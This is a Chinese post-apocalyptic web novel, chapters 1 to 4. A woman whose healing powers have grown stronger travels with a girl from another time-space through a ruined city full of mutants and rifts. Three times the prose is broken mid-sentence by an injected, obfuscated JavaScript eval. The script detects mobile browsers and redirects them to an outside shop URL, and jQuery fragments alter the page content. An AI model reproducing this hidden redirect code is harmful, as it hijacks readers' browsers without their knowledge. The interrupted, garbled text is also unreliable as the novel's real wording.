《时空裂缝[末世]》 1. 001 “多重时空一直存在，为什么丢进洗衣机的袜子总会消失一只，无论你怎么找都找不到，是因为它们外溢到了另一个时空。” “对，你看到的鬼也不是鬼，而是另外一个时空和我们的时空发生了某种程度的重叠产生的异象。” “我们看不到其他的时空，也无法穿梭到其他的时空，那么其他的时空呢？如果他们的科技水平高于我们，他们是不是来去自如？他们甚至可能因为看我们不顺眼，毁灭我们！” “所以我们现在是被其他时空的同胞算计了？” “不知道。我只知道我们的时空正在被其他时空的物种入侵，不仅如此，我们时空的东西好像也会随机跌入到其他时空，而且这个情况在持续恶化，据说有很多人发生了变异。” “太可怕了！最关键的是天气也乱了，我这里应该是热带啊，但是现在在下雪。” “如果你们说的都合理的话，我们是否可以检测出外溢或者跌入的裂缝会出现在哪里，这样我们的星球或许有救。” “现在科学家都死伤大半了，没有人去做这件事了。” “是啊，我这里网络都不好使了，时断时续。” “完蛋了，很快我们都会从这个世界消失……” “不会，发生变异的人会活下来。” “朋友们，这是我在社交媒体上的最后一条留言。” “页面加载中……” 肖与楚啪地一下关掉了手机。这些信息已经是一个月前的了，如今全球网络早已中断。虽然无法通过网络知道外面发生了什么，但肖与楚看着外面的世界逐渐从喧嚣变得沉默，就知道这个世界的规则彻底变了：人们不再信赖彼此，而是为了生存互相猜忌，互相残杀。 手表上的时间指向八点，肖与楚掀开窗帘一角，尘土随着呼啸的晨风到处飞扬，空气中弥漫的腐臭味透过窗户的缝隙霸道地入侵道肖与楚的鼻腔中。拥堵的汽车大军活像一个个死去的甲壳虫趴在街上，街道两旁的树木都已枯萎，在汽车之间的缝隙处，隐约能看到一些腐烂的尸体。 必须离开这里了，肖与楚暗自思忖，她在出租屋待了一个多月，食物消耗殆尽，再待下去只有死路一条。 肖与楚回到客厅，端坐在沙发上，茶几上放着她的背包，还有一把水果刀。在临走之前，她还有一件事情要确认：她是否如她所想的那样，发生了变异。 她犹豫再三，才拿起水果刀，对准了手心。水果刀在手心划开了一条口子，疼痛随着掌心的神经传入大脑，血液从裂开的皮肤中透了出来，肖与楚龇牙咧嘴，但很快皮肤上的裂痕就消失了，皮肤恢复如初，只留下一滩浅浅的血迹。 竟然是真的。 肖与楚的自愈能力比平常人来说加快了数倍，不仅如此，她能感觉到自己的力量和抗极端环境的能力也在变强，但这些能力怎么来的，能力的尽头是哪里，她却一无所知。 不过，她有了这些能力傍身，出门求生不至于一下子被其他人弄死。 肖与楚背上一个简易背包，戴上一个黑色防尘口罩，拿着墙角的一根金属棒球棍，就出了门。 楼道里的腐臭味更浓，电梯间里的电梯早就停运了，要想下楼只能徒步下去。 肖与楚观察过，她所在的这栋楼已经没什么人了，就算有人也不敢轻易出门。到了如今，大家的心理都是一样的，既怕看到别人，也怕别人看到自己。 肖与楚推开楼梯间的门，一股阴冷的气流扑面而来，她钻了过去，又轻轻合上门，屏息听了一下外面的动静，确信楼道里没人后，她才轻手轻脚地一步一步走下楼梯。 下了两层楼之后，她察觉到原本安静的楼道好像变得有些躁动，楼下有窸窸窣窣的声音飘了上来。 难道有人在这个时候出来了？ 肖与楚握紧棒球棍，一边走一边盯着楼下的动静。 就在这时，安静的楼道里突然传来一声尖叫，一个穿着花裙子的小女孩突然从楼下窜了上来，她掠过肖与楚，往楼上跑去，与此同时，一个黑影出现在了楼梯之下，朝着肖与楚扑了过来。 说时迟那时快，肖与楚抬起棒球棍，毫不犹豫地劈了过去，只听嘭的一声，那东西呜咽了一声，飞下楼梯。 什么怪东西！ 肖与楚不由得倒吸一口气，在楼下的居然是畸形的人！他身上只有几片残缺的布耷拉着，四肢扭曲地撑在地面上，身体瘦削得仿佛被人抽去了所有脂肪和血肉。 而他的头……可能是刚刚被肖与楚打了一棒的原因，竟然凹陷下去了一大块，甚至还流着浓郁的黑色脑汁。 那人也看见了肖与楚，他气得脸都抽搐了起来，没想到刚来一个鲜嫩可口的小东西，就被眼前这个东西截胡了。他调整姿势，咧开嘴露出一口黑牙，向眼前这个女人示威。 “嗞——”他的口腔里发出像野兽一般的声音。 他以为这样会让肖与楚害怕，但肖与楚却浑身血肉喷张，感觉身体里的某种东西像被激活了一样，她再次握紧棒球棍，在那个人扑过来的瞬间，快速准确地朝他脑袋劈了下去。 嘭地一声，这次声音更加沉闷，那人跌落在楼梯上，四肢疯狂地扭曲蠕动，他的脑袋像被劈碎了的西瓜一样，崩出好多黑臭的汁水，一开一合的嘴里不断冒出黑色泡泡。 肖与楚不敢懈怠，幸好，那人挣扎了几下，就没了动静。 见他不再动弹，肖与楚紧绷的肌肉才松弛了下来，看来变异的效果还不错，居然能对付这种怪物了。她回头看那个小女孩，只见她双手抱膝，蹲在墙角，眼睛扑闪扑闪地眨着。 “没事了，他已经挂了。”肖与楚表面云淡风轻，但内心还是有些忐忑，刚出门就杀生，总感觉不是什么好预兆。 小女孩看着肖与楚，又看向楼梯下，轻声说了句话。 “你说什么？”肖与楚没听清。 小女孩大了点声：“我说，他没死。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573046|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不可能。”肖与楚回过头，顿时头皮发麻，那人的四肢竟然支撑那颗毫无生命力的脑袋，再次站了起来…… “嗞——嗞——”他嘴里又发出这种声音，那张狰狞又变形的脸，让人看了想吐。 那东西以迅雷不及掩耳之势窜到肖与楚面前，将她扑倒在地，黑色汁水滴在了肖与楚的口罩上，臭味直入肖与楚鼻孔。 肖与楚用棒球棍抵着他瘦弱的身躯，眼见那颗脑袋离越来越近，几乎要够着脸颊脖颈，就在这一瞬间，她憋足力气推开他，顺势将脖颈上的头颅一拧而下。 这怪物头身分离，彻底不动弹了。 只是肖与楚手里的头颅瞪大着眼睛看着她，让她头皮发麻，她把那颗头扔下楼梯，胃里翻涌上来一股恶心感。 “他死啦。”小女孩轻声说道。 肖与楚后背一凉，她将那股翻涌上来的恶心感吞了回去，回头打量这小女孩。看她的年纪应该七八岁左右，后脑勺上扎着两个小辫儿，身上套着一件粉红色的连衣裙，肩上斜挎着一个蓝色布包，脚上踩着一双灰白色胶鞋。 “你家里人呢？”肖与楚问。 小女孩拍了拍身上的尘土，站了起来。“都死了。” 肖与楚差点一口气没上来，她瞥了一眼小女孩，却从她脸上看不到任何悲伤神色，她不禁有一丝怀疑。 “你难道没有看出来我是谁？”小女孩又问。 听她的语气，怎么都不像是个小孩儿。 “我们见过？” “嗯……”小女孩揉了揉鼻子，“你们这的空气太差了。哎，说出来你可能不信，我们在梦里见过。” “啊？” “没有人告诉你吗？梦是你在另一个世界生活的投射。”小女孩说话的语气越来越严肃。 肖与楚终于忍不住笑了，这种鬼话也就骗骗小孩子，她懒得信。 “我就知道你不信，”小女孩摸了摸小辫子，垂下脑袋，不一会儿她又从布包里掏出来一张照片，递给肖与楚。“你看，这是我和你的照片。” 肖与楚歪了歪头，仔细看那张照片，照片上的小孩是小女孩没错，那个大人的确和肖与楚很像，但从那双眼睛来看，她和肖与楚有本质不同，她的眼神温柔和沉静，而肖与楚……下辈子都不可能有这种眼神。 “PS的。”肖与楚简短回道。 “哎……”小女孩一下子被噎住了，“这是真的！我从别的时空带来的。” “那你和我在另一个时空是什么关系？” “我……”小女孩眉眼皱成一团，看起来想说又不想说的样子，“……你是我妈。” “啊？” “你是我妈。”小女孩大声。 “胡扯！”肖与楚终于笑出声来，她快步走下楼梯，撂下一句话：“不好意思，我还没想好怎么养孩子呢。” “我不需要你养！”小女孩大声说道，“我叫小野，我过来是为了帮你的！” 2. 002 “我们所处的是一个多重时空，从天地混沌开始，各个时空就进化出了不同的发展方向，有的时空从猿人进化出了智慧生命，有的时空却从植物进化出了智慧生命，还有的时空从海洋深处进化出了智慧生命……总之，在多重时空，社会发展的进度不同，生命进化的方向不同……” 小野坐在小区门口的台阶上，不厌其烦地跟肖与楚解释她的来历。 这声音像是催眠曲，肖与楚打了个哈欠，才说道：“这些话，我在网上都看到过。” “那些消息都是我们散出去的，”小野摇头叹气，“只可惜从一开始，没有引起一些有能力的人注意，只能说，你们这个时空的人都太笨了，进化得太慢。” “那你说说你们时空是什么样子？”肖与楚问道。 “我们的时空所有时空中最为独特的一个时空，负责记录每个时空的进化历程，对各个时空进行定期回访。” “你妈是做什么的？” “我妈……我妈就是一个普通的时空记录官。” “没听过。”哪怕是网络上信息最泛滥的时期，肖与楚也没见过这个词。 “简单来说，就是负责各个时空的发展进程。我们现在一共记录了13839个时空，按照发现的先后顺序排列，几乎每个时空的物种都有记录，当然，也有很多我们没发现的时空和物种存在。在我们记录顺序里，你们的时空是第6号时空。” “嗯……”肖与楚思考了一会儿，“你的意思是你们可以去往任何一个时空？” “可以这么说。” “哦……所以我们这里发生的一切跟你们有关？” “不不不，”小野连连摇头，“像你们时空出现的这种规模的时空裂缝很罕见，不是我们能做到的。” “哦……” “不过我妈已经培养你很久了，你不会轻易死的。” “培养我做什么？”肖与楚活了二十八年，第一次听说这么荒谬的事情。 “这个……说来话很长，你有没有梦到过一群医生给你治病？” 肖与楚沉默，她梦到过，而且隔三差五的梦到，就在半个月前还梦到过一次，那次她大概睡了24小时，一直没醒过来。 小野见肖与楚不说话，高兴地一拍大腿。“我妈就是通过这种方式培养你的，他们对你进行了人体改造，你现在的能力得到了极大提升。” 说着小野从蓝色布兜里掏出来一个黑色仪器，没等肖与楚问那是什么，她就已经把仪器按在了肖与楚手腕上。肖与楚只感觉一阵刺痛，手腕上多了一个小针孔一样的血点。 接着小野按了一下显示屏上的按钮，仪器飞速运转起来了。 “你们很脆弱，但也有很好的改造条件。虽然你原本各方面能力很低，但经过改造后，现在已经有了很大的提升，你看看这些数值。” 小野把仪器给肖与楚看，屏幕上有几行字及条状图。这张图将人的能力分为力量、速度、自愈能力、耐力、抗极端环境能力几个部分，各个评估值都是一百分。从图上来看，肖与楚原本的能力几乎都是零，但现在力量及速度增加到了20，自愈能力50，耐力10，抗极端环境能力10。 肖与楚把小野的手推了回去。“你的意思是我没有变异？” “不排除你进化出了其他能力。”小野模棱两可。 “这样啊，”肖与楚拉长了语调，“时空裂缝是随机出现，还是有规律的？” “一般情况下会分为活跃期，沉寂期。活跃期时空裂缝非常多，沉寂期相对少。目前你们的时空已经过了活跃期，处于沉寂期，时空裂缝少那么一点点。” “什么时候会变多？” “那我就不知道了，但根据数据显示，有时候几天，有时候几年。” “好吧，”肖与楚站了起来，“既然现在是沉寂期，代表我们相对安全，我要去找吃的了。” “去哪儿找吃的？”小野也跟着站了起来。 “超市。” “我听说你们的时空有很多好吃的，什么火锅涮肉、小炒黄牛肉、油泼面……” “这些都没有了。” “哎，本来我还想尝一尝呢。”小野有些遗憾。 肖与楚叹气。美食，她都多久没吃过这些东西了？这辈子恐怕都告别那些记忆中的美食了。 小区外街道没人，马路上隔一段距离就有几辆废弃的汽车，地上满是垃圾，空气中的腐臭味变得更加重了。 小野紧紧跟在肖与楚后面，有好几次，她想伸手在包里拿点什么，又什么也没做。 “比我想的还要严重。”小野一边走一边嘀咕，“看来你们这个时空距离毁灭也不会太远了。” “不是已经毁灭了吗？” “我说的是完全毁灭，至少要十几年呢。” “随便吧。”哪儿能顾那么远，眼下先找到吃的再说。 两人沿着马路转了个弯，来到一条笔直的大道，垃圾遍地，道上有几张看起七八成新的传单，肖与楚弯腰捡了一张起来。 传单上的信息言简意赅： 请幸存民众前往林川市庇护所，庇护所将为大家提供住所及安全保障。 地址：林川市西北宁峰山余北镇 庇护所？肖与楚仔细看了眼地址，才发觉这个镇子她以前去过，行车距离大约是八十公里，那个镇子在山中，很适合建立庇护所。 如果庇护所还在运行，就说明这个世界还有一些人也在与混乱作斗争。 肖与楚小心翼翼地把那张传单揣进了兜里。 “妈，这是什么？”小野问。 “庇护所地址，”肖与楚顿了一会儿，要求道：“你能不能别叫我妈？听着怪怪的。” 小野不明就里：“不叫你妈叫什么？” “叫我名字，肖与楚。” “我这么小，跟着你，万一遇见了别的人，人家问你我是谁，你怎么说？” “你确定我们还会遇见别的人？” “这谁说得好呢？”小野皱着小脸。 “随便吧。”肖与楚不再挣扎。 街道两旁的店铺大多都被毁坏了，里面的东西被洗劫一空。常去的那家超市大门倒是开着，只是一片狼藉，收银台处趴着一具已经高度腐烂的尸体，尸体散发着剧烈的恶臭味。 肖与楚快步走进货物陈列区。陈列区的货架东倒西歪，地上到处散落日用品，却难得看到食物。这不奇怪，已经一个月过去了，就算有什么食物，也被幸存者扒光了。 肖与楚不想放弃，便在其中仔细翻找，也是她运气差，翻了十几分钟，就在一个货架下找到了半根火腿肠，结果旁边还躺着一只死老鼠。 肖与楚叹了口气，把火腿肠扔到一边，一抬头就看到小野正直勾勾地盯着自己，她吓得一激灵。 果然还没适应有人跟着自己。 “你饿不饿？”肖与楚没事闲聊天。 “我不饿，我有吃的。”说着小野从布包里掏出一个长条形塑料包，冲着肖与楚晃了晃，就撕开包装，津津有味地嚼起来。 肖与楚注意到了那个蓝色布包，看起来瘪瘪的，不像是能装什么东西的样子。 “你这个包……” “这是空间囊。能装的可多了，吃的，喝的，用的等等，还有一些武器。” “多大？”肖与楚觉得很神奇。 “差不多四五个篮球场那么大，武器都是小型武器，太大的，我带不了。” “能看看吗？” “不能。”小野似乎有所顾忌，但她从包里掏出一根能量棒递给肖与楚，“这个给你。” 肖与楚不知道这东西是否能入口，但还是接了过来，拆开后咬了一口，有一种奇特的清香味。 她很快就吃完了一根，不得不说，这东西的果腹感很强。 在超市一无所获，肖与楚继续出发了，现在她有了新的目的地，去庇护所，但是要去往那里似乎不是一件容易的事，路被堵死了，连最基础的交通工具都难以行驶。十五分钟后，肖与楚才走到了地铁站附近。 这是一个十字路口，马路对面是一片已接近枯萎的小树林，肖与楚和小野穿过马路，来到小树林旁，左手是一条两车道宽的辅路，往前走几百米是一家豪华品牌汽车售卖店，门口巨大的汽车品牌logo被大风吹得只剩下一个底座。近处路口那根红绿灯被折得弯弯曲曲。 肖与楚仔细一看，发现那里好像有一团淡绿色的气体在涌动。 “前面好像有危险。”肖与楚说。 “什么危险？”小野张望。 “气流……”肖与楚纳闷，自己为何能看见气流，其实前两天，她就发现这个问题了，当时她看到天空中冒出一团红色气流，过不了多久，又消失了。 “气流？”小野惊讶，“时空裂缝的表现就是气流涌动。” “真的吗？时空裂缝有颜色？” “稍等，我查一下，”小野又从蓝色布包里掏出她的分析仪，“时空裂缝没有颜色，不过有一部分获得进化了的人，他们会看到不同颜色的气流，资料上说红色代表的是吐出裂缝，而绿色代表吞噬裂缝。” “所以我……真的进化了？”肖与楚问道。 “是吧……”小野眼里涌动着莫名的情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573047|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“你看到的是什么颜色的气流？” “绿色。” “多大？” “前方路口，大概一个非机动车道宽。” 小野看着前方路口，沉思道：“我们必须绕开那个地方，要是被吞进去就完了。” 肖与楚对小野的话半信半疑，不过她还是带着小野绕过了那团气流，继续往前走。 不知不觉两人走到了汽车售卖店门口，展厅空空荡荡，什么车都没有，连玻璃也被砸碎了。 肖与楚准备继续往前，却看见有人从展厅侧面走了出来，他们几个凶神恶煞，一看就不是什么好人。 肖与楚一激灵，拉起小野就往回跑。 “妈的，你给老子站住，往哪儿跑！”为首的国字脸大声咆哮。 “哥，这娘俩儿看起来不像有东西的样子。”国字脸的一个跟班说。 “你他妈懂个屁，人不是东西吗？都什么时候了，你脑子还一团浆糊！这两人拿去找张老师换，肯定能换到物资。” 跟班一愣，挺起胸膛：“明白了，哥，我跑得快，我去抓她俩。” …… 一个穿着黑色T恤、剃光头的男人冲了出来，他衣服上的大写字母“X”格外扎眼。 肖与楚心里冒出一个不成熟的主意，她拉着小野，从非机动车道的边缘跑，绕过那团绿色气流。 小野：“你想干什么？” 肖与楚：“我想看看你说的对不对，那东西是不是真的能把他们吞进去。” 那几个小混混当然不知道肖与楚这么做的原因。黑色T恤跑得快，他在非机动车道上狂奔，像一阵黑旋风一样扎进那团气流…… “慢！慢！慢！”领头的国字脸眼睁睁地看着一个兄弟消失，急得冲其他人大叫。 但还是晚了，又一个愣头青一头扎进那团看不见也摸不着的气流里。 “操，两个蠢货，特么脚底抹了油，跑那么快干什么！”国字脸气得脸都绿了。 原本占优的形势急转直下，眼看对面瞬间从五个人变成三个人了，肖与楚这才意识到，这团气流是真的管用，她停下了脚步，定定地看着几个人。 “哥，这到底怎么回事啊？他们怎么不见了？”其中一个小弟吓得脸色煞白。 “你蠢啊！他们肯定是被吞了啊！” “那……那……我们怎么办？”另一个小弟也吓得够呛。 国字脸喘着粗气，阴沉着脸，直勾勾地盯着站在远处一动不动的肖与楚。 肖与楚将棒球棍杵在地上，直直地迎着他的目光。 刚刚损失了两个兄弟，又看眼前这个女人如此淡定从容，为首的国字脸心态爆炸，迟迟不敢再上前。 “我们走。” “哥，猴子和大头都没了，我们得找这俩娘们儿报仇啊。”其中一个小弟怯生生地说。 “报你妈呢，万一她是个变异的杂种，你能打得过？”国字脸压低了嗓门训斥道。 那俩小弟听老大这么说，愁容惨淡。 “真他妈晦气。”国字脸说着就气冲冲地往回走了，两小弟也忙不迭地跟了上去，他们的脚步比想象中还要快。不一会儿就消失不见了。 “你比我想象中的要坏一点。”小野有点意外。 肖与楚心头掠过一阵异样的感觉，这种事不能细想，肖与楚晃了晃脑袋驱赶走这种无用的想法。 “他们不是什么好人。”肖与楚只好这么说道。 肖与楚示意小野跟上脚步，她们穿过了树林，走了一段小路，来到了一条叫锡虞路的马路上。马路两边都是商铺。有了刚刚的教训，肖与楚更加谨慎，她尽量贴着房下屋檐走，一方面方便观察四周，一方面可以利用马路上废弃的汽车躲避视线。 走着走着，一个异常熟悉的小区名字映入眼帘。 嘉怡小区。这是她前男友陈斯所居住的小区。经历了这么多，这个人活着的希望应该不大了。抛开过去的恩怨，肖与楚还是为那么多失去的生命惋惜，她能侥幸活下来，已经是谢天谢地了。 “有人。”小野突然指着小区大门说道。 肖与楚一激灵，赶紧蹲下躲在一辆三轮车旁，盯着小野指的方向。 “哪儿？”她伸着脖子问。 “就在对面。”小野又给肖与楚指了指。 只见一对男女鬼鬼祟祟地走了出来，那男人穿着一件黑色T恤和一条灰色休闲裤，一副斯文面孔。 那张脸肖与楚再熟悉不过，不是别人，正是她前男友陈斯。 而他身边那个女人，肖与楚不由得倒抽一口气，居然是她如假包换的好朋友乔一伊…… 3. 003 虽然眼前这两个老朋友经历了末日摧残，但状态看起来还不错。只是肖与楚怎么也没想到，乔一伊竟然和陈斯搅合在了一起，而她竟然对此毫不知情。 乔一伊是眼瞎了吗？肖与楚暗自思忖道。 “你认识他们？”小野踮着脚尖，打量着那两个人。 “你看出来了？” 小野点头：“嗯，他们也是去庇护所吗？我们是不是可以一起？就我们两个一起，好像有些无聊呢。” 肖与楚眉头紧皱，有些纠结，但想到陈斯的为人，她便对乔一伊于心不忍，于是便点了点头。 “喂！”小野立即兴奋得大叫道。 这一叫，吓得乔一伊和陈斯不约而同地一哆嗦，两人视线随即飘了过来。 “你认识吗？”陈斯见到一张陌生的小孩的面孔出现在这里，顿时警惕起来。 “不认识，这是你家小区，我怎么会认识？”乔一伊脸色不太好，似乎有些焦虑。 “那别管了，我们走。”陈斯说着就要拉着乔一伊往前走。 “等等，”乔一伊这时突然看清了小野的脸，有些犹豫地说道：“你不觉得她像一个人吗？ “谁？”陈斯有些紧张。 乔一伊顿了顿，才说：“……小楚。” 陈斯皱了皱眉，他往那个穿小裙子的女孩看去，真觉得这女孩的五官脸型的确跟肖与楚相似。 “巧合而已，这不是同情心泛滥的时候，我们赶紧走吧。” “但她还是个小孩子。”乔一伊不忍心。 “小孩子又怎么样？”陈斯语气逐渐不耐烦，“我们难道还能带她走？我能保住你一个人就不错了，还能带个孩子？” “陈斯……”乔一伊委屈，她拉着陈斯的胳膊，似乎是在祈求他。 陈斯甩开乔一伊的胳膊，怒斥道：“别叫了，你这样很烦你知道吗？要不然你就自己走？” 在远处的肖与楚见到乔一伊被如此粗暴地对待，终于忍不住了，她蹭地一下子站了起来。 “乔一伊。”她大声叫道。 乔一伊听到肖与楚的声音，吓得浑身一抖，她转头看见肖与楚就站在那个小孩旁边，更是惊讶得张大了嘴巴。 “小楚？你……你们怎么在这儿？” “我刚好路过。”肖与楚回答道，“你们俩要去哪儿？” “我们……我……”乔一伊大概是过意不去，立即涨红了脸，“我们想去庇护所。” “我也要去庇护所，要不我们一起去？”肖与楚说。 “肖与楚！”陈斯突然大怒着走了过来，“我不知道你为什么会出现在这里，如果你是来找我的话，我可帮不了你什么忙。” 肖与楚颇具玩味地看陈斯，冷淡道：“……你想多了，我真的只是路过。” 陈斯冷哼了一声，显然对肖与楚的话不相信，这个世界上怎么会有这么巧的事？ “小楚，没想到你还活着，”乔一伊突然湿了眼眶，她急忙跑了过来，“如果你愿意和我们一起去，那就太好了，我正愁路上没伴呢。” “我不同意。”陈斯拒绝，“干嘛要带着两个拖油瓶。” “妈，这个叔叔看起来好像不欢迎你哎。” “妈……你有孩子了？”乔一伊瞪大了眼睛。 肖与楚：“……”误会，天大的误会。 “肖与楚，你到底有多少事是我不知道的？怎么突然冒出来一个孩子？”陈斯的愤怒转化为嘲弄。 乔一伊：“对啊，你什么时候有的孩子？我怎么一点都不知道。” 肖与楚自知一时半会儿也解释不清楚这件事的来龙去脉，更何况也没必要解释，便糊弄道：“这个嘛……说来话长，以后再说吧。” “别啊，这孩子应该在我俩谈恋爱之前就有了吧，就这你还怪我跟别人眉来眼去，合着你都生孩子了，我这个做男朋友的都不知情。” 肖与楚懒得争辩，只是斜睨了陈斯一眼，表达了一下自己的无语。 “哎，过去的事情都过去了，既然我们能这么巧遇到，说明老天对我们不薄，以后我们几个互相照应，行不行？”乔一伊观察着肖与楚和陈斯的神色。 “你们两个弱不禁风的，能照应我什么。我虽然进化了，但也保护不了几个女人。” “你进化了？”肖与楚好奇起来。 “嗯，运气好。”陈斯半得意半不屑。 陈斯极其不愿意和肖与楚母女一起去庇护所，但在乔一伊的软磨硬泡下，他还是勉为其难地同意了。只是他的嘴脸简直就跟谁欠他几千万一样，一个劲儿说自己会很辛苦，希望肖与楚别找自己麻烦。 那种让人讨厌的熟悉感觉又回来了。 肖与楚一边听着陈斯的絮叨，一边琢磨这个自恋自大狂到底有什么异能。凭良心，肖与楚不在乎陈斯怎么样，但对乔一伊，她总觉得她这个神经大条的朋友，有点天真。被陈斯的花言巧语所欺骗，这智商能好到哪里去？ 哎……仔细想想，肖与楚又觉得不对劲，这话好像在骂自己。 “这孩子，真是你生的？”乔一伊突然凑了过来。 “嗯。”肖与楚懒得争辩。 “毕业那年你突然消失，不跟大家联系，就是因为这个吗？” “嗯。”肖与楚越回答越觉得荒唐。 “那你肯定吃了很多苦，”乔一伊露出怜惜的神情，“哎，我都不敢想，你怎么熬过来的。小楚，现在世界不一样了，你别怪我说话难听，没孩子我们都未必能活下去，你带着她真的会很辛苦。” “带我不辛苦。”小野低声反驳道。 “嗯，带她不辛苦。”肖与楚也反驳，毕竟也没开始带，谈不上什么辛苦不辛苦。 “啧，”陈斯冷哼一声，“你们俩还演上了，我提醒你们，如果遇到什么危险，我可管不了你们，你们自求多福。” “叔叔，你不是变异了吗？怎么就管不了我们？难不成是什么没用的功能？” “你……”陈斯一副欲言又止的表情，“跟你妈一个德行，懒得跟你计较。” 这世界变化真的很快，他们往前才走了不到一公里，刚刚还阴沉沉的天气，突然云层变得数倍厚，黑压压地扑了下来，顿时天昏地暗，众人还没反应过来，大片大片的雪花就从天空中降落。 肖与楚从未见过如此大的雪花，几乎有她半个掌心那么大。只穿着薄外套的陈斯和乔一伊不一会儿就冷得直发抖。 “这雪太大了，我们得找个暖和的地方休息。”陈斯搓了搓冻得通红的手。 “去……去哪儿休息呢？”乔一伊早就扛不住了。 陈斯朝周围扫视了一圈，指着其中一片高楼说：“春华高级公寓，环境很好，我们可以进去看看有没有合适的地方。” 肖与楚其实没有觉得特别冷，正如小野所说，她的抗极端能力在变强，所以对寒冷的感知在下降。但看陈斯和乔一伊实在冻得不行，便也同意一起去看看。他们踩着吱吱呀呀的积雪走进公寓大门，挑了一栋最靠里的公寓进去。 公寓大厅里桌子柜子东倒西歪，一片狼藉。众人找到楼梯后，在陈斯带领下一直往上爬，他几乎每上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573048|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层都会观察一下，直到爬到第十层，才停了下来。 这层楼有一间虚掩着门的公寓，确认里面没人后，陈斯才推门而入。 “这环境太好了吧！”乔一伊看见房间里的布置马上叫了出来。 陈斯炫耀：“这种户型本身就是有点经济基础的人才能买的，装修肯定往好了弄。” 说的好像你买的似的，肖与楚腹诽。 公寓光线很暗，但看得出来的确装修豪华，而且出人意料地干净，乔一伊毫不犹豫地扑倒在沙发上，好像回到了家一般，美美地哼了好几声。 陈斯进门环视一周后，就往厨房去了。 肖与楚落在最后，她关上门，又确认是否反锁，才往窗外看去。窗外雪越下越大，几乎看不清窗外其他楼了。 肖与楚走到窗边确认窗户完好，又特意留了个气口。再回头时，小野已坐到了沙发一角，露出了困倦的表情。 “你可以睡会儿。”肖与楚对小野说。 “我不困。”小野强撑起精神。 “你这孩子还挺懂事，对了，她叫什么名字啊。”乔一伊坐了起来，她的心情看起来好了不少。 “小野，野蛮生长的野。”肖与楚说。 “哦。”乔一伊笑眯眯小野，“小野，我跟你妈妈是朋友，你以后就叫我乔阿姨。” 小野点点头，乖巧地回道：“好的，乔阿姨。” “什么都没有，看来都被弄走了。”陈斯从厨房出来，一脸烦躁，他的目光不安地四处乱扫，最后将目光投向厨房旁边的小隔间上。“这应该是储物间，我看看。” “小心点。”乔一伊提醒道。 “我知道。”陈斯靠到门上听了听，确认里面没有任何声音后，才大胆地拧开门把手。 “啊——”一打开门，他就发出一声惊呼。 那扇门里竟然发出强烈的蓝紫色光芒，让客厅都蒙上了一层蓝紫色的波光。 “这是什么玩意儿？”陈斯立在门口，仿佛被里面的东西迷住了。 肖与楚和乔一伊互相对视了一眼，起身走了过去。 只见储物间里，一个类似水母一样的生物漂浮在空中，身体散放着蓝紫色的光芒，它姿态优美，就好像这空间就是它的大海一般。 “好美啊！”乔一伊忍不住感叹道。 很美的东西往往很危险，肖与楚升腾起一种不好的预感。 陈斯瞳仁里映着那个生物的光芒，鬼使神差地，他竟然伸手去触碰那个生物，那生物仿佛有灵性一般，也伸出一个触角，和陈斯的手指互相触碰。 “哇——”乔一伊低叹道，“太神奇了。” “陈叔叔最好离它远一点，说不定这个东西很危险。”小野不知何时出现了肖与楚身后提醒。 陈斯不屑：“这么温和的东西，能有什么危险？” 他的手指不停地和那个形似水母的生物摩挲，不一会儿，他双目就好像失去了焦距一般，嘴角荡起了满足的笑意。 “啊——” 一眨眼功夫，惨叫声响彻整个房间。那个生物以迅雷不及掩耳之势，扑向陈斯的脸。他跌落在地上，双手抱着这个不知名生物在地上翻滚。 “救……我……”他喉咙里发出粗重的声音，仿佛气管都要被那个生物捏炸了。 “陈斯！”乔一伊没想到会发生这样的事，顿时手足无措，动手也不是，不动手也不是。 那个生物顽强入侵陈斯的五官，眼看着触角已伸进了陈斯的鼻孔和嘴巴，那软绵绵的身体贴紧陈斯的脸，似乎要和他融为一体…… 4. 004 “小楚，你说怎么办啊？这到底是什么东西？你快救救陈斯。”乔一伊带着哭腔向肖与楚求助。 肖与楚一时也不知道从哪里下手，她灵机一动，从厨房拎了一把刀出来，但看着和那个不明生物纠缠在一起的陈斯，也不知道该从哪里下手。 “妈，我查到了，这种生物叫紫镜，是第839号时空的生物，平时就在空中漂浮，只要割掉它一根触须，它就会松开陈叔叔了。”小野在肖与楚身后轻声说。 “就……这么简单？肖与楚既惊讶又怀疑。 小野连连点头：“就这么简单。” “小楚，他快不行了。”乔一伊急得如热锅上蚂蚁。 肖与楚再回头看去，陈斯已经不打滚了，他的脸被挤压变形，脸变成了猪肝色，眼看离也差不远了。 不管了！肖与楚上前，横跨在陈斯身上，快准狠地拿刀砍向紫镜。 一根触须应声落地。 